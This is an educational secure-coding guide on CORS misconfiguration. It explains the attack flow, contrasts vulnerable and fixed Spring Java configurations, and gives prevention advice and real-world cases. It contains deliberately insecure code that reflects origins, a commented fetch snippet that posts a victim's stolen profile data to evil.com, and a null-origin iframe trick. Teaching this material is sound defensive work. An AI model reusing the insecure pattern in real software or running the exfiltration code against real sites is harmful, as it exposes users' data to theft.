CORS Misconfiguration
CORS Misconfiguration is a critical web security vulnerability that occurs when Cross-Origin Resource Sharing policies are implemented incorrectly. It allows attackers to bypass the browser's same-origin policy, potentially gaining unauthorized access to sensitive data from other domains.
What Is CORS Misconfiguration?
Cross-Origin Resource Sharing (CORS) is a security mechanism implemented in web browsers that controls how web pages from one origin can access resources from another origin. By default, browsers enforce the same-origin policy, which prevents JavaScript running on one domain from accessing data on another domain. CORS provides a way to selectively relax this restriction, allowing servers to specify which origins are permitted to access their resources.
A CORS misconfiguration occurs when a server's CORS policy is too permissive or incorrectly implemented. The most common mistakes include using wildcard origins (Access-Control-Allow-Origin: *) together with credentials, reflecting the Origin header back without validation, or trusting null origins from sandboxed iframes. When these policies are misconfigured, an attacker can craft a malicious website that makes cross-origin requests to the vulnerable application on behalf of authenticated users.
CORS misconfigurations are particularly dangerous because they completely bypass the browser's built-in security model. Unlike other vulnerabilities that require social engineering or direct exploitation, CORS issues allow attackers to silently steal data simply by tricking a user into visiting a malicious page. The vulnerability has been categorized as A05 (Security Misconfiguration) in the OWASP Top 10 2021, reflecting its prevalence and the significant security risks it poses to modern web applications.
How It Works
The attacker sets up a website under their control (e.g., evil.com) that contains JavaScript code designed to make cross-origin requests to the target application (e.g., api.bank.com). This malicious page will attempt to access sensitive data or perform actions on behalf of the victim.
A user who is already authenticated to the target application (with valid session cookies) is tricked into visiting the attacker's malicious website. This could happen through phishing emails, social media links, or malicious advertisements. The user does not need to take any additional action beyond loading the page.
The JavaScript on the attacker's page initiates a request to the target application using the fetch() or XMLHttpRequest API with the credentials: 'include' option. This request automatically includes the victim's authentication cookies for the target domain, making it appear as a legitimate request from the authenticated user.
For requests with custom headers or certain methods, the browser first sends an OPTIONS preflight request to check if the cross-origin request is allowed. The server responds with CORS headers indicating which origins, methods, and headers are permitted. If the server's CORS policy is misconfigured (e.g., reflecting the attacker's origin), the browser proceeds with the actual request.
Because the CORS policy incorrectly allows the attacker's origin and the request includes valid credentials, the server processes the request as if it came from a legitimate source. The server returns sensitive data (e.g., user profile, account balance, private messages), and the browser allows the attacker's JavaScript to read the response, completing the attack.
Vulnerable Code Example
@Configuration
public class CorsConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
// VULNERABLE: Reflects the Origin header without validation
// and allows credentials with any origin
registry.addMapping("/api/**")
.allowedOrigins("*") // Accepts any origin
.allowCredentials(true) // Dangerous with wildcard
.allowedMethods("GET", "POST", "PUT", "DELETE")
.allowedHeaders("*");
}
}
// Alternative vulnerable pattern: Origin reflection
@RestController
public class DataController {
@GetMapping("/api/user/profile")
public ResponseEntity<?> getUserProfile(
@RequestHeader("Origin") String origin,
HttpServletResponse response) {
// VULNERABLE: Blindly reflects the Origin header
response.setHeader("Access-Control-Allow-Origin", origin);
response.setHeader("Access-Control-Allow-Credentials", "true");
// Returns sensitive user data
return ResponseEntity.ok(getCurrentUserData());
}
}
// An attacker can steal data by hosting a page at evil.com:
// fetch('https://api.bank.com/api/user/profile', {
// credentials: 'include'
// }).then(r => r.json()).then(data => {
// // Send stolen data to attacker's server
// fetch('https://evil.com/steal', {method: 'POST', body: JSON.stringify(data)});
// });Secure Code Example
@Configuration
public class CorsConfig implements WebMvcConfigurer {
// SECURE: Define an allowlist of trusted origins
private static final List<String> ALLOWED_ORIGINS = Arrays.asList(
"https://trusted-app.com",
"https://www.trusted-app.com",
"https://mobile.trusted-app.com"
);
@Override
public void addCorsMappings(CorsRegistry registry) {
// SECURE: Only allow specific, trusted origins
registry.addMapping("/api/**")
.allowedOrigins(ALLOWED_ORIGINS.toArray(new String[0]))
.allowCredentials(true)
.allowedMethods("GET", "POST", "PUT", "DELETE")
.allowedHeaders("Content-Type", "Authorization")
.maxAge(3600);
}
}
// Alternative secure pattern: Manual validation
@RestController
public class DataController {
private static final Set<String> ALLOWED_ORIGINS = Set.of(
"https://trusted-app.com",
"https://www.trusted-app.com"
);
@GetMapping("/api/user/profile")
public ResponseEntity<?> getUserProfile(
@RequestHeader(value = "Origin", required = false) String origin,
HttpServletResponse response) {
// SECURE: Only set CORS headers if origin is in allowlist
if (origin != null && ALLOWED_ORIGINS.contains(origin)) {
response.setHeader("Access-Control-Allow-Origin", origin);
response.setHeader("Access-Control-Allow-Credentials", "true");
}
// If origin is not trusted, CORS headers are not set
// and the browser will block the response
return ResponseEntity.ok(getCurrentUserData());
}
}
// With this secure configuration, requests from evil.com
// will be blocked by the browser because the origin is not
// in the allowlist, protecting user data from theft.Types of CORS Misconfiguration
Wildcard Origin with Credentials
The most dangerous misconfiguration occurs when a server sets Access-Control-Allow-Origin: * (allowing all origins) while also setting Access-Control-Allow-Credentials: true. While browsers technically reject this combination, some developers work around it by reflecting the Origin header, effectively creating a wildcard that accepts credentials. This allows any malicious website to make authenticated requests and read responses, completely bypassing same-origin protections.
Origin Reflection
A common mistake is blindly reflecting the Origin header from the request back in the Access-Control-Allow-Origin response header without proper validation. Developers do this to dynamically support multiple origins, but without an allowlist, it means any origin is accepted. For example, if an attacker sends a request from evil.com, the server reflects Access-Control-Allow-Origin: https://evil.com, allowing the malicious site to read sensitive responses. This is functionally equivalent to allowing all origins.
Null Origin Exploitation
Some CORS implementations trust the null origin, which browsers send for sandboxed iframes, local file access, or certain edge cases. Attackers can easily trigger a null origin by using a sandboxed iframe (<iframe sandbox="allow-scripts allow-top-navigation" src="data:text/html,...">). If the server's CORS policy includes Access-Control-Allow-Origin: null with credentials enabled, the attacker's sandboxed iframe can make authenticated requests and steal data. This misconfiguration is less common but still appears in real-world applications.
Impact
A successful CORS misconfiguration exploitation can lead to severe security breaches. The impact is particularly significant because it leverages the victim's authenticated session, allowing attackers to perform actions and access data as if they were the legitimate user.
Attackers can read any data that the victim's browser can access, including personal information, financial records, private messages, API keys, and authentication tokens. The malicious JavaScript can make requests to all accessible endpoints and send the stolen data to an attacker-controlled server. This occurs silently in the background without any indication to the victim.
By accessing sensitive endpoints that reveal session tokens, password reset tokens, or account details, attackers can escalate CORS exploitation to full account takeover. For example, an attacker might read a password reset endpoint that returns a token, or access an API that reveals security question answers, enabling them to hijack the victim's account permanently.
If the vulnerable endpoint supports state-changing operations (POST, PUT, DELETE), attackers can perform actions on behalf of the victim, such as transferring funds, modifying account settings, posting content, or deleting data. Combined with credential-enabled CORS, this can lead to fraud, data manipulation, or reputational damage.
CORS misconfigurations can expose protected user data, leading to violations of privacy regulations such as GDPR, CCPA, HIPAA, or PCI DSS. Organizations may face significant fines, legal liabilities, and reputational damage. The breach of user trust can result in customer attrition and long-term business impact, especially for platforms handling sensitive personal or financial information.
Prevention Checklist
Define an explicit list of allowed origins instead of using wildcards or reflecting the Origin header. Only include domains that you own and control. Validate the Origin header against this allowlist before setting CORS response headers. Never use dynamic origin reflection without strict validation against a predefined allowlist.
Never set Access-Control-Allow-Origin: * on endpoints that require authentication or handle sensitive data. If you need to support multiple origins, use an allowlist and dynamically set the specific origin in the response. Remember that browsers block wildcard with credentials, but developers often work around this unsafely by reflecting origins.
Never include null in your allowed origins list. The null origin can be trivially triggered by attackers using sandboxed iframes or local files. If you see null in your logs, investigate whether your application has a legitimate use case for it, which is extremely rare for production web applications.
Only allow the HTTP methods (GET, POST, etc.) and headers that your application actually needs. Avoid using allowedMethods("*") or allowedHeaders("*"). Explicitly specify the minimum required methods and headers. This reduces the attack surface and follows the principle of least privilege.
Do not rely solely on CORS for security. Use additional protections like CSRF tokens for state-changing operations, proper authentication and authorization checks, and Content Security Policy (CSP) headers. CORS should be seen as an access control mechanism, not a security boundary. Always validate authentication and authorization server-side.
Periodically review your CORS configuration and test for misconfigurations. Use browser developer tools to inspect CORS headers in responses. Automated tools like OWASP ZAP, Burp Suite, or specialized CORS scanners can detect common misconfigurations. Include CORS security checks in your code review process and penetration testing scope.
Real-World Examples
BitPay
Security researcher James Kettle discovered that BitPay's Copay wallet suffered from a CORS misconfiguration that reflected arbitrary origins. An attacker could create a malicious website that would steal bitcoin wallet credentials and private keys from authenticated users simply by tricking them into visiting a malicious page while logged into their Copay wallet.
Wine-Searcher
A CORS vulnerability in Wine-Searcher's API allowed any website to make authenticated requests on behalf of users. The misconfiguration enabled attackers to access user profiles, search histories, and saved wine collections. The API reflected the Origin header without validation while allowing credentials, creating a significant privacy breach for wine enthusiasts using the platform.
Hackerone Platform
A CORS misconfiguration was discovered in Hackerone's own bug bounty platform, ironically reported by a security researcher through their program. The vulnerability allowed malicious sites to read private bug reports and sensitive security information from authenticated researchers. The issue was caused by improper origin validation that accepted subdomains and similar-looking domains.
Microsoft Internal Tools
Security researchers found CORS misconfigurations in several Microsoft internal tools and APIs that were accessible to employees. The vulnerabilities could have allowed attackers to steal OAuth tokens, internal documentation, and employee data by tricking Microsoft employees into visiting malicious websites. The misconfigurations used wildcard patterns that were too permissive.
Ready to Test Your Knowledge?
Put what you have learned into practice. Try identifying and fixing CORS Misconfiguration vulnerabilities in our interactive coding challenges, or explore more security guides to deepen your understanding.